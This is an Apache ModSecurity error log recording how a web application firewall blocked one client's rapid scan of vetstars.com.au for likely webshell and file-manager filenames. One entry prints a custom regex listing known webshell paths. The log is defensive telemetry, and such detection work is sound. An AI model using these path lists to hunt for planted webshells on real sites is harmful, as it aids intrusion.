[Sun Apr 19 23:11:12.681593 2026] [:error] [pid 15760:tid 15792] [client 20.203.147.105:21063] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws66.php"] [unique_id "aeTwkPSdD_XHQMJ_ISto1wAAAdg"]
[Sun Apr 19 23:11:13.155474 2026] [:error] [pid 47886:tid 47895] [client 20.203.147.105:21071] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws66.php"] [unique_id "aeTwkUSe8yiyuPrD7yOIHAAAAMc"]
[Sun Apr 19 23:11:13.628315 2026] [:error] [pid 15764:tid 15837] [client 20.203.147.105:21109] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws66.php"] [unique_id "aeTwkWLL_sqdSHoVp-RA6QAAAks"]
[Sun Apr 19 23:11:14.153694 2026] [:error] [pid 47772:tid 47806] [client 20.203.147.105:21007] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/db.php"] [unique_id "aeTwkoc0L16cb4smAz_fSAAAABE"]
[Sun Apr 19 23:11:14.656421 2026] [:error] [pid 47775:tid 47845] [client 20.203.147.105:21027] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/db.php"] [unique_id "aeTwkrmztjlk9tsmoewrNgAAAII"]
[Sun Apr 19 23:11:15.175365 2026] [:error] [pid 47772:tid 47802] [client 20.203.147.105:21026] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/db.php"] [unique_id "aeTwk4c0L16cb4smAz_fSgAAAA0"]
[Sun Apr 19 23:11:15.669081 2026] [:error] [pid 47772:tid 47808] [client 20.203.147.105:21025] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/db.php"] [unique_id "aeTwk4c0L16cb4smAz_fSwAAABM"]
[Sun Apr 19 23:11:16.165111 2026] [:error] [pid 15693:tid 15711] [client 20.203.147.105:21028] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws81.php"] [unique_id "aeTwlMNMD-ccazQlTsllwAAAAU8"]
[Sun Apr 19 23:11:16.640231 2026] [:error] [pid 15693:tid 15704] [client 20.203.147.105:21100] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws81.php"] [unique_id "aeTwlMNMD-ccazQlTsllwgAAAUg"]
[Sun Apr 19 23:11:17.140746 2026] [:error] [pid 47772:tid 47791] [client 20.203.147.105:21054] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws81.php"] [unique_id "aeTwlYc0L16cb4smAz_fVAAAAAI"]
[Sun Apr 19 23:11:17.616494 2026] [:error] [pid 47772:tid 47809] [client 20.203.147.105:21044] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws81.php"] [unique_id "aeTwlYc0L16cb4smAz_fVwAAABQ"]
[Sun Apr 19 23:11:18.134061 2026] [:error] [pid 47772:tid 47812] [client 20.203.147.105:21069] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/r2.php"] [unique_id "aeTwloc0L16cb4smAz_fWAAAABc"]
[Sun Apr 19 23:11:18.700044 2026] [:error] [pid 47775:tid 47850] [client 20.203.147.105:21031] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/r2.php"] [unique_id "aeTwlrmztjlk9tsmoewrOQAAAIc"]
[Sun Apr 19 23:11:19.277297 2026] [:error] [pid 47772:tid 47800] [client 20.203.147.105:21001] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/r2.php"] [unique_id "aeTwl4c0L16cb4smAz_fXwAAAAs"]
[Sun Apr 19 23:11:19.798838 2026] [:error] [pid 15693:tid 15709] [client 20.203.147.105:21051] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/r2.php"] [unique_id "aeTwl8NMD-ccazQlTsllxgAAAU0"]
[Sun Apr 19 23:11:20.323104 2026] [:error] [pid 47772:tid 47811] [client 20.203.147.105:21072] [client 20.203.147.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/tiny.php"] [unique_id "aeTwmIc0L16cb4smAz_fYQAAABY"]
[Sun Apr 19 23:11:20.798422 2026] [:error] [pid 47772:tid 47806] [client 20.203.147.105:20986] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "aeTwmIc0L16cb4smAz_fbAAAABE"]
[Sun Apr 19 23:11:21.389469 2026] [:error] [pid 47772:tid 47807] [client 20.203.147.105:21077] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "aeTwmYc0L16cb4smAz_fdwAAABI"]
[Sun Apr 19 23:11:21.930709 2026] [:error] [pid 47772:tid 47794] [client 20.203.147.105:21006] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "aeTwmYc0L16cb4smAz_fgwAAAAU"]
[Sun Apr 19 23:11:22.520691 2026] [:error] [pid 47775:tid 47853] [client 20.203.147.105:21020] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "aeTwmrmztjlk9tsmoewrRQAAAIo"]
[Sun Apr 19 23:11:23.011748 2026] [:error] [pid 47775:tid 47847] [client 20.203.147.105:20952] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws80.php"] [unique_id "aeTwm7mztjlk9tsmoewrSQAAAIQ"]
[Sun Apr 19 23:11:23.484457 2026] [:error] [pid 47775:tid 47867] [client 20.203.147.105:21070] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws80.php"] [unique_id "aeTwm7mztjlk9tsmoewrTAAAAJg"]
[Sun Apr 19 23:11:23.986177 2026] [:error] [pid 15760:tid 15777] [client 20.203.147.105:20949] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws80.php"] [unique_id "aeTwm_SdD_XHQMJ_ISto3gAAAck"]
[Sun Apr 19 23:11:24.489873 2026] [:error] [pid 15765:tid 15870] [client 20.203.147.105:20937] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws80.php"] [unique_id "aeTwnPRqinw-W5EwQ74K2AAAApE"]
[Sun Apr 19 23:11:25.012030 2026] [:error] [pid 47772:tid 47795] [client 20.203.147.105:21067] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "aeTwnYc0L16cb4smAz_fhwAAAAY"]
[Sun Apr 19 23:11:25.578984 2026] [:error] [pid 15693:tid 15705] [client 20.203.147.105:20869] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "aeTwncNMD-ccazQlTsllyAAAAUk"]
[Sun Apr 19 23:11:26.150108 2026] [:error] [pid 15764:tid 15826] [client 20.203.147.105:20961] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "aeTwnmLL_sqdSHoVp-RA8gAAAkA"]
[Sun Apr 19 23:11:26.691254 2026] [:error] [pid 15764:tid 15831] [client 20.203.147.105:21041] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "aeTwnmLL_sqdSHoVp-RA9QAAAkU"]
[Sun Apr 19 23:11:27.202676 2026] [:error] [pid 15764:tid 15845] [client 20.203.147.105:20945] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/roksad1.php"] [unique_id "aeTwn2LL_sqdSHoVp-RA9wAAAlM"]
[Sun Apr 19 23:11:27.729699 2026] [:error] [pid 47775:tid 47857] [client 20.203.147.105:20885] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/roksad1.php"] [unique_id "aeTwn7mztjlk9tsmoewrUQAAAI4"]
[Sun Apr 19 23:11:28.235279 2026] [:error] [pid 15693:tid 15707] [client 20.203.147.105:20962] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/roksad1.php"] [unique_id "aeTwoMNMD-ccazQlTsllygAAAUs"]
[Sun Apr 19 23:11:28.710890 2026] [:error] [pid 15760:tid 15775] [client 20.203.147.105:21057] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/roksad1.php"] [unique_id "aeTwoPSdD_XHQMJ_ISto7QAAAcc"]
[Sun Apr 19 23:11:29.214912 2026] [:error] [pid 15760:tid 15774] [client 20.203.147.105:21095] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fone1.php"] [unique_id "aeTwofSdD_XHQMJ_ISto8AAAAcY"]
[Sun Apr 19 23:11:29.852788 2026] [:error] [pid 15760:tid 15782] [client 20.203.147.105:21087] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fone1.php"] [unique_id "aeTwofSdD_XHQMJ_ISto9QAAAc4"]
[Sun Apr 19 23:12:12.766074 2026] [:error] [pid 15764:tid 15851] [client 20.203.147.105:21034] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/press.php"] [unique_id "aeTwzGLL_sqdSHoVp-RBWgAAAlg"]
[Sun Apr 19 23:12:13.361768 2026] [:error] [pid 15764:tid 15827] [client 20.203.147.105:21033] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/press.php"] [unique_id "aeTwzWLL_sqdSHoVp-RBXgAAAkE"]
[Sun Apr 19 23:12:13.857295 2026] [:error] [pid 47773:tid 47837] [client 20.203.147.105:20946] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/press.php"] [unique_id "aeTwzeiBHdnCJDuPq9BafgAAAFU"]
[Sun Apr 19 23:12:14.437863 2026] [:error] [pid 47773:tid 47834] [client 20.203.147.105:20868] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/press.php"] [unique_id "aeTwzuiBHdnCJDuPq9BaggAAAFI"]
[Sun Apr 19 23:12:14.918868 2026] [:error] [pid 47772:tid 47803] [client 20.203.147.105:20984] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "aeTwzoc0L16cb4smAz_fowAAAA4"]
[Sun Apr 19 23:12:15.449697 2026] [:error] [pid 47772:tid 47810] [client 20.203.147.105:20915] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "aeTwz4c0L16cb4smAz_fpgAAABU"]
[Sun Apr 19 23:12:15.957804 2026] [:error] [pid 15764:tid 15837] [client 20.203.147.105:20929] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "aeTwz2LL_sqdSHoVp-RBYgAAAks"]
[Sun Apr 19 23:12:16.478956 2026] [:error] [pid 47773:tid 47825] [client 20.203.147.105:20931] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "aeTw0OiBHdnCJDuPq9BahAAAAEk"]
[Sun Apr 19 23:12:16.982495 2026] [:error] [pid 15764:tid 15827] [client 20.203.147.105:20947] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rh.php"] [unique_id "aeTw0GLL_sqdSHoVp-RBZAAAAkE"]
[Sun Apr 19 23:12:17.518653 2026] [:error] [pid 15764:tid 15836] [client 20.203.147.105:21060] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rh.php"] [unique_id "aeTw0WLL_sqdSHoVp-RBZgAAAko"]
[Sun Apr 19 23:12:18.039687 2026] [:error] [pid 15694:tid 15749] [client 20.203.147.105:20889] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rh.php"] [unique_id "aeTw0rimB-jol1fwqAoa_AAAAZc"]
[Sun Apr 19 23:12:18.603133 2026] [:error] [pid 15694:tid 15746] [client 20.203.147.105:20892] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rh.php"] [unique_id "aeTw0rimB-jol1fwqAoa_wAAAZQ"]
[Sun Apr 19 23:12:19.108384 2026] [:error] [pid 15764:tid 15828] [client 20.203.147.105:21052] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d.php"] [unique_id "aeTw02LL_sqdSHoVp-RBaQAAAkI"]
[Sun Apr 19 23:12:19.597776 2026] [:error] [pid 15763:tid 15797] [client 20.203.147.105:20950] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d.php"] [unique_id "aeTw07MXv1Y1THOoxaAX8wAAAgE"]
[Sun Apr 19 23:12:20.074079 2026] [:error] [pid 15764:tid 15844] [client 20.203.147.105:21000] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d.php"] [unique_id "aeTw1GLL_sqdSHoVp-RBawAAAlI"]
[Sun Apr 19 23:12:20.564923 2026] [:error] [pid 15764:tid 15830] [client 20.203.147.105:20955] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d.php"] [unique_id "aeTw1GLL_sqdSHoVp-RBbAAAAkQ"]
[Sun Apr 19 23:12:21.054988 2026] [:error] [pid 47772:tid 47797] [client 20.203.147.105:21053] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aeTw1Yc0L16cb4smAz_fsAAAAAg"]
[Sun Apr 19 23:12:21.536890 2026] [:error] [pid 47772:tid 47805] [client 20.203.147.105:21114] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aeTw1Yc0L16cb4smAz_ftAAAABA"]
[Sun Apr 19 23:12:22.012995 2026] [:error] [pid 47772:tid 47810] [client 20.203.147.105:20966] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aeTw1oc0L16cb4smAz_fuAAAABU"]
[Sun Apr 19 23:12:22.505595 2026] [:error] [pid 47775:tid 47859] [client 20.203.147.105:21047] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aeTw1rmztjlk9tsmoewrbAAAAJA"]
[Sun Apr 19 23:12:23.009916 2026] [:error] [pid 15764:tid 15851] [client 20.203.147.105:21082] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/view.php"] [unique_id "aeTw12LL_sqdSHoVp-RBbwAAAlg"]
[Sun Apr 19 23:12:23.592168 2026] [:error] [pid 47772:tid 47800] [client 20.203.147.105:21046] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/view.php"] [unique_id "aeTw14c0L16cb4smAz_fuwAAAAs"]
